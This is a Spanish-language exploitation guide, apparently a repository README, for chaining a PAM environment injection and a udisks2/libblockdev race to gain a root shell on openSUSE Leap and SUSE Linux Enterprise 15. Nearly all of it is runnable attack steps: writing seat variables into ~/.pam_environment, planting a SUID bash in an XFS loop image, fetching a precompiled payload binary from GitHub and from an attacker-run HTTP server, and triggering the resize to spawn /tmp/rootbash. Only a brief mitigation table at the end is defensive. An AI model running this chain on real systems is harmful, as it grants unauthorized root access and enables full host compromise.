
Cadena de explotación para escalada local de privilegios en SUSE Linux, encadenando inyección de entorno PAM y una condición de carrera en udisks2 para obtener una shell de root.
Sistema operativo objetivo: openSUSE Leap 15.x / SUSE Linux Enterprise 15.x
Acceso requerido: Usuario local sin privilegios con acceso SSH
Resultado: Shell de root completo
Este documento detalla la explotación manual de dos vulnerabilidades de escalada de privilegios local encadenadas, descubiertas por la Unidad de Investigación de Amenazas de Qualys:
~/.pam_environment, que permite a un usuario SSH remoto obtener el estado allow_active de Polkit, normalmente reservado para usuarios de consola físicamente presentes.libblockdev (utilizado por udisks2) no aplica la marca nosuid al montar temporalmente un sistema de archivos durante una operación D-Bus Filesystem.Resize, lo que permite la ejecución de un binario SUID desde un dispositivo de bucle controlado por el usuario.Encadenadas, estas vulnerabilidades permiten que cualquier usuario SSH sin privilegios escale a root sin interacción de otros usuarios.
Máquina del atacante (Kali Linux):
xfsprogs instalado (sudo apt install xfsprogs -y)gcc disponiblepython3 -m http.server)Máquina objetivo:
udisks2 y polkit instalados (por defecto en estos sistemas)gdbus disponible (parte de glib2, instalado por defecto)Después de obtener acceso SSH como usuario sin privilegios, confirme que el objetivo es vulnerable.
Comprobar el sistema operativo:
cat /etc/os-release | grep -E "NAME|VERSION"
El sistema debe ser openSUSE Leap 15.x o SUSE Linux Enterprise 15.x.
Comprobar que pam_env lee los archivos de usuario:
grep "pam_env" /etc/pam.d/common-auth
Busque user_readenv=1 o simplemente la presencia de pam_env.so. En las instalaciones SUSE predeterminadas, esto está habilitado.
Comprobar que udisks2 y polkit están en ejecución:
systemctl is-active udisks2
systemctl is-active polkit
Comprobar la política de Polkit para la configuración de dispositivos de bucle:
grep -A3 "loop-setup" /usr/share/polkit-1/actions/org.freedesktop.UDisks2.policy
El valor de allow_active debe ser yes.
allow_active mediante inyección en PAMEsta vulnerabilidad abusa del hecho de que pam_env.so lee ~/.pam_environment durante el inicio de sesión SSH e inyecta esas variables en el entorno de la sesión antes de que pam_systemd.so evalúe el contexto de la sesión. Al establecer XDG_SEAT y XDG_VTNR, el atacante engaña a systemd-logind para que trate la sesión SSH remota como una sesión de consola física, otorgando privilegios allow_active de Polkit.
Inyectar las variables:
echo "XDG_SEAT DEFAULT=seat0" > ~/.pam_environment
echo "XDG_VTNR DEFAULT=1" >> ~/.pam_environment
echo "XDG_SESSION_TYPE DEFAULT=x11" >> ~/.pam_environment
Cerrar sesión y reconectarse mediante SSH para activar el procesamiento de PAM:
exit
ssh user@<target_ip>
Verificar que allow_active ahora está otorgado:
loginctl list-sessions
loginctl show-session <SESSION_ID> | grep -E "Active|Seat|VTNr|Remote"
La salida debe mostrar:
Active=yes
Seat=seat0
VTNr=1
Establecer el ID de sesión y la dirección D-Bus si no se rellenan automáticamente:
export XDG_SESSION_ID=<SESSION_ID>
export DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/<UID>/bus
La imagen XFS debe formatearse con características compatibles con el kernel SUSE 15. Las versiones modernas de xfsprogs habilitan características como exchange, parent, bigtime, inobtcount y nrext64 por defecto, que no son compatibles con kernels SUSE más antiguos y causarán fallos de montaje. Las siguientes marcas producen una imagen XFS V5 compatible:
dd if=/dev/zero of=/tmp/xfs.image bs=1M count=500
mkfs.xfs -f -m crc=1,reflink=0,rmapbt=0,inobtcount=0,bigtime=0 -i sparse=0,nrext64=0,exchange=0 -n parent=0 -d agcount=4 /tmp/xfs.image
Montar la imagen e inyectar un binario bash SUID:
sudo mkdir -p /tmp/mnt
sudo mount -o loop /tmp/xfs.image /tmp/mnt
sudo cp /bin/bash /tmp/mnt/bash
sudo chmod 4755 /tmp/mnt/bash
ls -la /tmp/mnt/bash
sudo umount /tmp/mnt
La salida debe mostrar -rwsr-xr-x 1 root root.
Debido a que la ventana de montaje vulnerable durante Filesystem.Resize tiene solo unos pocos milisegundos de ancho, se requiere un binario C compilado para capturarla de manera confiable. Un bucle Bash puro es demasiado lento.
Descargue el payload precompilado desde la página de versiones:
wget https://github.com/m0r4a/CVE-2026-6018-9-Local-Privilege-Escalation-Chain/releases/download/v0.0.1/payload -O /tmp/payload
[!NOTE] También puede compilar el binario usted mismo. El código fuente está disponible en payload.c.
Servir ambos archivos a través de HTTP:
cd /tmp && python3 -m http.server 8888
# Transferir la imagen XFS
wget http://<attacker_ip>:8888/xfs.image -O /tmp/xfs.image
# Transferir el binario capturador
wget http://<attacker_ip>:8888/payload -O /tmp/payload
chmod +x /tmp/payload
Este paso requiere dos sesiones SSH simultáneas al objetivo.
Configurar el dispositivo de bucle (en cualquiera de las sesiones):
udisksctl loop-setup -f /tmp/xfs.image --no-user-interaction
Anote el dispositivo de bucle asignado, por ejemplo /dev/loop1.
Sesión 1: Iniciar el capturador y dejarlo en ejecución:
/tmp/payload
[!NOTE] Si el capturador sale inmediatamente sin producir un shell de root, intente iniciarlo antes de configurar el dispositivo de bucle y repita la secuencia.
Sesión 2: Activar inmediatamente el redimensionamiento:
export DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/<UID>/bus
gdbus call --system --dest org.freedesktop.UDisks2 --object-path /org/freedesktop/UDisks2/block_devices/loop1 --method org.freedesktop.UDisks2.Filesystem.Resize 0 "{}"
La llamada Resize devolverá un error, pero antes de fallar, libblockdev monta el sistema de archivos en una ruta temporal bajo /tmp/blockdev.XXXXXX/ sin la marca nosuid. El capturador en la Sesión 1 detecta este montaje, ejecuta el binario bash SUID desde su interior, copia un shell de root a /tmp/rootbash y lo lanza.
[!NOTE] Si tiene problemas con
Not authorized to perform operation, intente usar la terminal que utilizó con éxito para ejecutar el comandoudiskctl loop-setup...y use el otro shell para ejecutar el script/tmp/payload.
Una vez que el capturador completa, se lanza un shell de root automáticamente o se puede obtener mediante:
/tmp/rootbash -p
whoami
# root
| Componente | Solución |
|---|
| CVE-2025-6018 | Deshabilitar user_readenv en PAM: establecer user_readenv=0 en /etc/pam.d/common-auth |
| CVE-2025-6019 | Actualizar libblockdev y udisks2 a versiones parcheadas del proveedor de la distribución |
| Endurecimiento de Polkit | Cambiar allow_active a auth_admin para org.freedesktop.udisks2.loop-setup en el archivo de política de UDisks2 |